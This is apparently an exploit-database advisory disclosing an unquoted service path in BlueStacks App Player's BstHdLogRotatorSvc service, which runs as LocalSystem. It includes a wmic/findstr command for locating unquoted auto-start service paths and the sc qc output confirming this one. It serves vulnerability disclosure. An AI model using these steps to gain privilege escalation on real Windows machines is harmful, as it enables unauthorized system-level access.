38 lines
No EOL
1.4 KiB
Text
38 lines
No EOL
1.4 KiB
Text
# Exploit Title: Blue Stacks App Player 2.4.44.62.57 - "BstHdLogRotatorSvc" Unquote Service Path
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# Date: 2019-11-09
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# Exploit Author: Diego Armando Buztamante Rico
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# Vendor Homepage: www.bluestacks.com
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# Software Link: www.bluestacks.com
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# Version: 2.4.44.62.57
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# Tested on: Windows 8.1 Pro
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# CVE: NA
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#Description
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#Blue Stacks is an application which allows to run mobile apps on Windows and Mac.
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#The service BstHdLogRotatorSvc is use to allow HD displays of Blue Stacks app.
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#The service suffers from an unquoted path.
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#PoC using CMD
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#Command to discover the unquoted path:
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C:\Users\user>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /V "C:\Windows" | findstr /i /V """"
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#As a result we have
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BlueStacks Log Rotator Service BstHdLogRotatorSvc C:\Program Files (x86)\Bluestacks\HD-LogRotatorService.exe Auto
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#We use the name of service to get its information using next command.
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C:\Users\user>sc qc BstHdLogRotatorSvc
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[SC] QueryServiceConfig CORRECTO
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NOMBRE_SERVICIO: BstHdLogRotatorSvc
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TIPO : 10 WIN32_OWN_PROCESS
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TIPO_INICIO : 2 AUTO_START
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CONTROL_ERROR : 1 NORMAL
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NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\Bluestacks\HD-LogRotatorService.exe
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GRUPO_ORDEN_CARGA :
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ETIQUETA : 0
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NOMBRE_MOSTRAR : BlueStacks Log Rotator Service
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DEPENDENCIAS :
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NOMBRE_INICIO_SERVICIO: LocalSystem |